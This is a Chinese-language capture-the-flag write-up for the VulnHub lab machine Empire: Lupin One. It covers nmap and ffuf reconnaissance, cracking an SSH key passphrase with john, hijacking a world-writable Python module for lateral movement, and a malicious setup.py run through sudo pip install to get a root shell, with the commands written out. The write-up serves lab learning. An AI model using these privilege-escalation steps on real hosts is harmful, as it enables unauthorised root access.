pip提权原理
在linux主机中,某个用户拥有pip的sudo权限,在这种情况下,可以利用pip install进行本地提权。
在执行pip install时会调用setup.py,可以在本地创建恶意setup.py文件来达到任意命令执行的效果。
环境搭建
攻击机kali ip:192.168.17.39
下载地址
https ://download.vulnhub.com/empire/01-Empire-Lupin-One.zip
虚拟机导入
这个靶机给了IP地址,减确定靶机目标地址的操作
nmap -A -p- 192.168.17.59
信息搜集
对于上述的robots.txt
文件
这里提示的是继续尝试
目录扫描,22端口弱口令扫描都没内容,这种靶机考研字典的真的是吐了,使用的dirsearch
想到了利用默认字典,然而并没有什么卵用,这里也是在上述提示种提示使用工具进行fuzz
这种脑洞也是吐了,没什么操作难度,难为在工具之上
字母游戏么
还是爆破
然而还是没爆破出结果,这靶机太虎了,谷歌一下换个工具ffuf
ffuf -u 'http://192.168.17.59/~secret/.FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -e .txt -mc 200
判断编码格式解码
根据提示就是私钥了,直接根据用户名私钥ssh登录
写入私钥,私钥登录
ssh -i id_rsa icex64@192.168.17.59
需要密码短语passphrase
,这个时候又到了前面提示的字典文件fasttrack.txt
去爆破
python /usr/share/john/ssh2john.py id_rsa >passwd.txt
将私钥id_rsa生成字典使用john
去爆破
john --wordlist=/usr/share/wordlists/fasttrack.txt passwd.txt
ssh重新登录
ssh -i id_rsa icex64@192.168.17.59
成功登录,当前目录下有flag
水平提权
arsene
用户可以使用脚本无需密码登录,但是提权的时候报错
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
提示未准备好,查看该文件
因为python文件的模块都是目录存在,找到webbrowser
模块
查看文件权限
777
·权限可做操作,vi编辑器可以使用,模块中写入shell
sudo -u arsene /usr/bin/python3.9 /home/arsene/heist.py
垂直提权
这里需要了解pip提权,pip在执行pip install的时候调用setup.py,将恶意脚本写入setup.py实现提权,参考
TF=$(mktemp -d)
echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py
sudo pip install $TF
尝试了正向反向shell提权,就该环境而言只有正向shell能够成功。
结语
这个环境能够学习到的或者说是有价值的地方就是pip提权,脑洞的话涉及的也不多,但是这种靶机最忌讳的也就是扫描或者说是信息搜集的时候所依靠的字典和工具,另外对于ssh密钥登录的考点也是比较有意思。